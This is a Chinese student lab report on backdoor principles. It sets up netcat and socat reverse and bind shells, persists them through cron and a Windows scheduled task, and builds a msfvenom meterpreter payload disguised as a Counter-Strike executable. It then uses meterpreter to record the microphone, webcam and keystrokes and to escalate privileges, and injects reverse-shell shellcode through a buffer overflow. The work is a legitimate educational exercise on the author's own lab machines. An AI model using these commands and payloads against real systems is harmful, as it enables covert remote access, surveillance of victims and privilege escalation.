2019-2020-2 20175317鍾睿文《網絡對抗技術》Exp2 后門原理與實踐
1.1 實踐目標
(1)任務一:使用netcat獲取主機操作Shell,cron啟動
(2)任務二:使用socat獲取主機操作Shell, 任務計划啟動
(3)任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
(4)任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
(5)任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell加分內容一並寫入本實驗報告。
1.2 基礎知識
- 后門
- 后門:是不經過正常認證流程而訪問系統的通道,存在與編譯器、操作系統、固件和應用中等等。
- 后門工作流程:程序→植入→運行→免殺。
- 后門工具
- Netcat:是一個底層工具,進行基本的TCP UDP數據收發。常被與其他工具結合使用,起到后門的作用。
- socat:socat是nc的增強版,socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。
- Meterpreter:具有強大的功能,特別是其socks代理。Meterpreter是Metasploit框架中的一個殺手鐧,通常作為漏洞溢出后的攻擊載荷使用,攻擊載荷在觸發漏洞后能夠返回一個我們控制通道,例如利用遠程過程帶哦用RPC服務的一個漏洞,當漏洞被觸發后,我們選擇Meterpreter作為攻擊載荷,就能夠獲得目標系統上的一個Meterpreter Shell連接。Meterpreter是Metasploit框架的一個擴展模塊,可以調用Metasploit的一些功能,對目標系統進行更加深入的滲透,這些功能包括反追蹤、純內存工作模式、密碼哈希值獲取、特權提升、跳板攻擊等。
任務一
Windows獲得Linux Shell
首先在Windows中使用ipconfig
查看其IP地址
使用ncat.exe程序打開監聽ncat.exe -l -p 5317
,記得在此之前關閉防火牆
在kali中使用-e選項執行shell程序反彈連接Windows:nc 192.168.0.102 5317 -e /bin/sh
之后就會發現Windows成功獲得kali的shell:
Linux獲得Windows Shell
在kali中使用ifconfig
查看IP
使用nc -l -p 5317
打開kali的監聽
在Windows中使用ncat.exe -e cmd.exe 192.168.0.115 5317
反彈連接kali
之后就會發現kali成功獲得Windows的命令提示
啟動cron
Cron是Linux下的定時任務,每一分鍾運行一次,根據配置文件執行預設的指令。
Windows系統下監聽端口5317,Linux系統下,輸入指令crontab -e
並選擇3進入編輯模式,crontab
指令表示增加一條定時任務,-e
表示編輯
在最后一行添加33 * * * * /bin/netcat 192.168.0.102 5317 -e /bin/sh
,表示每個小時的第33分鍾執行后面的那條指令。
linux在33分鍾時連接Windows,這是一個反彈連接式后門,監聽的windows連接后可獲得shell
使用nc傳輸數據
Windows下使用ncat.exe -l 5317
監聽5317端口,kali使用nc 192.168.0.102 5317
反彈連接到Windows的5317端口,連接建立成功后雙方可互傳數據
使用nc傳輸文件
Windows下使用ncat.exe -l 5317 > mess.out
監聽5317端口,並把收到的數據保存到mess.out中,kali使用nc 192.168.0.102 5317 < mess.in
反彈連接到Windows的5317端口,建立成功后,Windows可以收到kali發來的文件
可以在目錄下找到mess.out,打開后可以看到內容與mess.in一致
將文件從Windows傳給kali首先要將kali虛擬機的ssh服務端口打開,之后就只需使kali監聽5317端口,Windows反彈連接kali的5317端口,建立成功后,kali可以收到Windows發來的文件
任務二
首先下載socat,在老師給的附件里有,下載完成后打開計算機管理,在“任務計划程序”中“創建任務”,填寫任務名並新建一個觸發器。
在操作中的程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5317 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe綁定到端口5317,同時把cmd.exe的stderr重定向到stdout上
新建一個觸發器,選擇按預定計划,其他設置自行設定
注銷賬戶重新登陸后就可以看到任務已經在運行了
到達觸發時間后任務自動運行
在kali輸入指令socat - tcp:192.168.0.102:5317
,連接到Windows主機的5317端口,此時可以獲得Windows的shell
任務三
使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
使用kali攻擊win10,首先在Kali上執行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=5317 -f exe > Counter-Strike20175317.exe
,注意這里的IP地址為控制端IP,即kali的IP,后門程序為Counter-Strike20175317.exe
在Windows下執行ncat.exe -lv 5317 > Counter-Strike20175317.exe
指令,查看當前的連接狀態
在kali中使用nc 192.168.0.102 5317 < Counter-Strike20175317.exe
傳輸后門程序,傳輸成功win10的cmd中會出現傳輸信息
在Kali上使用msfconsole
指令進入msf控制台
-
輸入
use exploit/multi/handler
使用監聽模塊,設置payload -
set payload windows/meterpreter/reverse_tcp
,使用和生成后門程序時相同的payload -
set LHOST 192.168.0.115
,這里用的是生成后門程序時指定的IP -
set LPORT 5317
,同樣要使用相同的端口
使用exploit
開始監聽,運行Windows中的后門程序
在cmd中運行Windows下的后門程序,這時Kali上獲得了Windows主機的shell,經測試可以使用
任務四
使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
獲取錄音權限
使用record_mic -d 5
指令可以截獲一段時長5s的音頻,錄制完畢會告訴你他的保存路徑,打開后就可以發現這是來自未知藝術家的5秒音頻 ^皿^
獲取攝像頭權限
webcam_snap
指令可以使用攝像頭進行拍照,拍攝完畢桌面會出現一張JPEG圖像,我將筆記本的攝像頭驅動關掉了,所以拍出來是這樣的  ̄︶ ̄
獲取擊鍵記錄
keyscan_start
指令可以記錄下擊鍵的過程,keyscan_dump
則用於讀取擊鍵記錄(我這里按的是Ctrl+C)
獲取截屏
screenshot
指令可以進行截屏
查看用戶與提權
getuid
指令可以查看當前用戶,getsystem
指令進行提權操作
任務五
使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell。
經過參照學長學姐的總結,我在老師提供的Shellcode網站中搜索linux/x86 - Reverse
下載了反彈連接的shellcode
之后像實驗一一樣做好環境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space
關閉地址隨機化
使用如下命令使輸出重定向>將perl生成的字符串存儲到文件input_shellcode中
perl -e 'print "A" x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
打開一個終端使用(cat input_shellcode;cat) | ./pwn1注入這段攻擊buf
再開另外一個終端,用gdb來調試pwn1這個進程。輸入ps -ef | grep pwn1找到pwn1的進程號
之后啟動gdb使用attach調試這個進程。使用disassemble foo查看到ret的地址
0xffffd38c
存放的數據是80cd01b0,那么shellcode地址就是0xffffd390
修改並生成input
文件
perl -e 'print "A" x 32;print"\x90\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
打開msf控制台依次輸入
`use exploit/multi/handler`,用於設置payload
`set payload linux/x86/shell_reverse_tcp`
`set LHOST 127.0.0.1`,設置IP為回環地址
`set LPORT 4444`,根據代碼設置端口
`exploit` ,設置完成開始監聽
使用(cat input;cat) | ./pwn1將input輸入,通過管道符“|”,作為pwn1的輸入。
這時在msf控制台可以看到已經成功調取了shell
實驗中遇到的問題
win10系統升級管理員權限時失敗了,經過百度和嘗試同學們的方法也都失敗了,希望自己在接下來的嘗試中可以找到原因
實驗收獲與感想
本次實驗比較簡單,原本以為可以很快完成,但是做到任務五時msf控制台始終不顯示下面這行
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:48928) at 2020-03-10 07:23:28 -0400
導致shell一直不能被調取,經過檢查計算shellcode地址的過程也沒有問題,經過百度也沒有得到解決,導致我從下午4點卡到了6點,結果吃完飯坐下來同樣的步驟又試了一遍竟然成功了(╬▔皿▔)……
通過本次實驗使我對后門有了更加深刻的認識,能從自己的設備上獲取攝像頭麥克風和鍵入信息還是蠻可怕的!
問題回答
- (1)例舉你能想到的一個后門進入到你系統中的可能方式?
從第三方網站安裝軟件(使用陌生美女給的U盤並打開里面的文件)
- (2)例舉你知道的后門如何啟動起來(win及linux)的方式?
捆綁到某應用程序或添加到啟動項;設定某條件,達到條件激活后門打開,比如本實驗中的socat
- (3)Meterpreter有哪些給你映像深刻的功能?
在電腦用戶不知情的情況下獲取計算機的鍵入情況,麥克風的使用情況與截屏……用戶的鍵入情況被竊取可能會帶來信息的泄露,會造成用戶隱私以及重要數據外泄。
- (4)如何發現自己有系統有沒有被安裝后門?
最簡單的方法是使用殺毒軟件查殺,開啟監控並及時更新病毒庫。
其次查看自己計算機的端口開放情況,關閉多余的端口
查看注冊表和啟動項,清除可疑進程
參考資料
使用MSF生成shellcode
2018-2019-2 網絡對抗技術 20165318 Exp2 后門原理與實踐
記第一次提權——03getsystem
KALI 拿到 shell 后提權操作